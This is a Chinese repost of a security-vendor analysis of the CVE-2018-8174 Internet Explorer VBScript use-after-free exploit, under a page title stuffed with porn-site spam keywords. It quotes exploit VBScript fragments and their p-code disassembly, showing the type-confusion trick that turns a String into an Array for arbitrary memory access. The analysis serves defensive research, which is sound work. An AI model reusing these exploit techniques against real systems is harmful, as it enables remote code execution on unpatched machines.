压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

深入研究VBScript

4月下旬,我們發現了一個漏洞并對其發表了一篇報告CVE-2018-8174,這是我們的沙盒在Internet Explorer中發現的一個新0day漏洞,該漏洞使用了漏洞CVE-2014-6332的poc中一種常用的技術,實際上就是“破壞”了兩個內存對象,并將一個對象的類型更改為Array(用于對地址空間的讀/寫訪問),另一個對象類型更改為Integer,以獲取任意對象的地址。

QQ截圖20180706134603

但是CVE-2014-6332的利用主要是針對寫入任意內存位置的整數溢出,而我的興趣點在于如何改編此技術以用于UAF漏洞。要回答這個問題,我們需要先考慮一下VBScript解釋器的內部結構。

沒有文檔記載

調試一個VBScript可執行文件可是一項繁瑣的工作,因為在執行之前它會先被編譯成p代碼(p-code),然后才由虛擬機解釋。網上無法找到有關于此虛擬機的內部結構或者關于其指令的開源信息,不過花費了大量精力過后,我終于在幾個網頁中只找到了1999年2004年的微軟工程師報告,這些報告中揭示了一些關于p代碼的信息,其中有足夠的信息讓我對所有的VM指令進行完全逆向,并編寫一個反匯編程序。大家在我們的Github存儲庫中可以找到用于在IDA Pro和WinDBG調試器的內存中反匯編VBScript p代碼的最終腳本。

通過理解虛擬機解釋代碼,我們可以精確地監視腳本的執行情況:可以獲得有關在任何指定時間點上代碼被執行的位置的完整信息,并且可以觀察腳本創建和引用的所有對象,所有的這些信息都可以對分析提供極大的幫助。

運行反匯編腳本的最佳位置是CScriptRuntime::RunNoEH函數,因為它可以直接解釋p代碼。img

CScriptRuntime類中的重要字段

CScriptRuntime類包含了有關解釋器狀態的所有信息:局部變量、函數參數、指向堆棧頂部的指針和當前指令,以及被編譯腳本的地址。

VBScript虛擬機是面向堆棧的,包含大約超過100條的指令。

所有變量(本地參數和堆棧上的變量)都表示為占用16個字節的VARIANT.aspx)結構,其中高位字表示數據類型,某些類型值在相關的MSDN)頁面上也可以找到。

CVE-2018-8174利用

下面是’Class1’類的代碼和反匯編后的p代碼:

Class Class1
Dim mem
Function P
End Function
Function SetProp(Value)
    mem=Value
    SetProp=0
End Function
End Class
Function 34 (‘Class1’) [max stack = 1]:
        arg count = 0
        lcl count = 0
Pcode:
        0000    OP_CreateClass       
        0005    OP_FnBindEx      ‘p’ 35 FALSE
        000F    OP_FnBindEx      ‘SetProp’ 36 FALSE
        0019    OP_CreateVar     ‘mem’ FALSE
        001F    OP_LocalSet      0
        0022    OP_FnReturn     
Function 35 (‘p’) [max stack = 0]:
        arg count = 0
        lcl count = 0
Pcode:
        ***BOS(8252,8264)*** End Function *****
        0000    OP_Bos1          0
        0002    OP_FnReturn     
        0003    OP_Bos0         
        0004    OP_FuncEnd    
Function 36 (‘SetProp’) [max stack = 1]:
        arg count = 1
            arg  –1 = ref Variant    ‘value’
        lcl count = 0
Pcode:
        ***BOS(8292,8301)*** mem=Value *****
        0000    OP_Bos1          0
        0002    OP_LocalAdr      –1
        0005    OP_NamedSt       ‘mem’
        ***BOS(8304,8315)*** SetProp=(0) *****
        000A    OP_Bos1          1
        000C    OP_IntConst      0
        000E    OP_LocalSt       0
        ***BOS(8317,8329)*** End Function *****
        0011    OP_Bos1          2
        0013    OP_FnReturn     
        0014    OP_Bos0         
        0015    OP_FuncEnd

函數34是’Class1’類的構造函數。

OP_CreateClass指令調用VBScriptClass::Create函數來創建VBScriptClass對象。

OP_FnBindEx和OP_CreateVar指令嘗試獲取參數中傳遞的變量,由于它們尚不存在,因此它們由VBScriptClass::CreateVar函數創建。

下圖顯示了如何從VBScriptClass對象中獲取變量,其中變量的值存儲在VVAL結構中:img

想要了解漏洞的利用方法,則需要先了解變量在VBScriptClass結構中的表示方式。

當在函數36(‘SetProp’)中執行OP_NamedSt ‘mem’指令時,它會調用先前堆疊的類的實例的默認屬性Getter,然后將返回的值存儲在變量’mem’中。

***BOS(8292,8301)*** mem=Value *****
0000OP_Bos1 0
0002OP_LocalAdr -1 <————將參數置于堆棧
0005OP_NamedSt’mem’<———- – 如果它是具有默認屬性Getter的類調度程序,則在mem中調用并存儲返回的值

下面是在執行OP_NamedSt指令期間調用的30(p)函數的代碼和反匯編的p代碼:

Class lllIIl
Public Default Property Get P
Dim llII
P=CDbl(“174088534690791e-324”)
For IIIl=0 To 6
    IIIlI(IIIl)=0
Next
Set llII=New Class2
llII.mem=lIlIIl
For IIIl=0 To 6
    Set IIIlI(IIIl)=llII
Next
End Property
End Class
Function 30 (‘p’) [max stack = 3]:
        arg count = 0
        lcl count = 1
            lcl   1 =     Variant    ‘llII’
        tmp count = 4
Pcode:
        ***BOS(8626,8656)*** P=CDbl(“174088534690791e-324”) *****
        0000    OP_Bos1          0
        0002    OP_StrConst      ‘174088534690791e-324’
        0007    OP_CallNmdAdr    ‘CDbl’ 1
        000E    OP_LocalSt       0
        ***BOS(8763,8782)*** For IIIl=(0) To (6) *****
        0011    OP_Bos1          1
        0013    OP_IntConst      0
        0015    OP_IntConst      6
        0017    OP_IntConst      1
        0019    OP_ForInitNamed  ‘IIIl’ 5 4
        0022    OP_JccFalse      0047
        ***BOS(8809,8824)*** IIIlI(IIIl)=(0) *****
        0027    OP_Bos1          2
        0029    OP_IntConst      0
        002B    OP_NamedAdr      ‘IIIl’
        0030    OP_CallNmdSt     ‘IIIlI’ 1
        ***BOS(8826,8830)*** Next *****
        0037    OP_Bos1          3
        0039    OP_ForNextNamed  ‘IIIl’ 5 4
        0042    OP_JccTrue       0027
        ***BOS(8855,8874)*** Set llII=New Class2 *****
        0047    OP_Bos1          4
        0049    OP_InitClass     ‘Class2’
        004E    OP_LocalSet      1
        ***BOS(8876,8891)*** llII.mem=lIlIIl *****
        0051    OP_Bos1          5
        0053    OP_NamedAdr      ‘lIlIIl’
        0058    OP_LocalAdr      1
        005B    OP_MemSt         ‘mem’
        ….

該函數的第一個基本塊是:

*** BOS(8626,8656)*** P = CDbl(“174088534690791e-324”)*****
0000OP_Bos1 0
0002OP_StrConst’174088534690791e-
324’0007OP_CallNmdAdr’CDbl’1
000EOP_LocalSt 0

該塊將字符串’174088534690791e-324’轉換為VARIANT.aspx)結構,并將其存儲在本地變量0中,保留為函數的返回值。

在將’174088534690791e-324’轉換為雙倍后得到VARIANT

設置后的返回值在被返回之前,執行以下函數:

For IIIl=0 To 6
IIIlI(IIIl)=0
Next

該函數會調用“Class1”實例的垃圾回收器,并由于我們之前提到的Class_Terminate()中存在的use-after-free漏洞而導致一個懸空指針引用。

In the line

***BOS(8855,8874)*** Set llII=New Class2 *****
0047OP_Bos1 4
0049OP_InitClass ‘Class2’
004EOP_LocalSet 1

OP_InitClass ‘Class2’指令在先前釋放的VBScriptClass 的位置創建’Class1’類的“evil twin”實例,該實例仍由函數36(‘SetProp’)中的OP_NamedSt ‘mem’指令引用。

“Class2”類是“Class1”類的“evil twin”:

Class Class2
Dim mem
Function P0123456789
    P0123456789=LenB(mem(IlII+(8)))
End Function
Function SPP
End Function
End Class
Function 31 (‘Class2’) [max stack = 1]:
        arg count = 0
        lcl count = 0
Pcode:
        0000    OP_CreateClass   ‘Class2’
        0005    OP_FnBindEx      ‘P0123456789’ 32 FALSE
        000F    OP_FnBindEx      ‘SPP’ 33 FALSE
        0019    OP_CreateVar     ‘mem’ FALSE
        001F    OP_LocalSet      0
        0022    OP_FnReturn     
Function 32 (‘P0123456789’) [max stack = 2]:
        arg count = 0
        lcl count = 0
Pcode:
        ***BOS(8390,8421)*** P0123456789=LenB(mem(IlII+(8))) *****
        0000    OP_Bos1          0
        0002    OP_NamedAdr      ‘IlII’
        0007    OP_IntConst      8
        0009    OP_Add          
        000A    OP_CallNmdAdr    ‘mem’ 1
        0011    OP_CallNmdAdr    ‘LenB’ 1
        0018    OP_LocalSt       0
        ***BOS(8423,8435)*** End Function *****
        001B    OP_Bos1          1
        001D    OP_FnReturn     
        001E    OP_Bos0         
        001F    OP_FuncEnd      
Function 33 (‘SPP’) [max stack = 0]:
        arg count = 0
        lcl count = 0
Pcode:
        ***BOS(8451,8463)*** End Function *****
        0000    OP_Bos1          0
        0002    OP_FnReturn     
        0003    OP_Bos0         
        0004    OP_FuncEnd

內存中變量的位置是可預測的。VVAL結構占用的數據量使用公式0x32 + UTF-16中變量名的長度計算。

下圖顯示了在分配’Class2’代替’Class1’時,’Class1’變量相對于’Class2’變量的位置。img

當函數36(‘SetProp’)中的OP_NamedSt ‘mem’指令的完成執行后,函數30(‘p’)返回的值通過Class1中VVAL ‘mem’的懸空指針寫入寄存器,并覆蓋VARIANT Class2中的VVAL ‘mem’類型。

img

Double類型的VARIANT將VARIANT類型從String重寫為Array

因此,String類型的對象被轉換為Array類型的對象,之前被認為是字符串的數據被視為Array控件結構,并被允許訪問進程的整個地址空間。

結論

我們將用于反匯編VBScript的腳本編譯成p代碼,以便于以字節碼級別啟用VBScript調試,這樣可以在分析漏洞的利用并了解VBScript的運行方式的時候提供有效的幫助,該腳本已存儲在我們的Github存儲庫中。

CVE-2018-8174的案例表明,當內存分配具有高度可預測性時,UAF漏洞會變得很容易被利用,在野外這種攻擊常常被用來針對舊版Windows,尤其是在Windows 7和Windows 8.1中最有可能出現該攻擊所需要的內存中對象的位置。

原文地址:https://securelist.com/delving-deep-into-vbscript-analysis-of-cve-2018-8174-exploitation/86333/

上一篇:又一種新的btis服務com組件漏洞利用方式,成功提權至system

下一篇:沙箱:挖掘你的安全隱患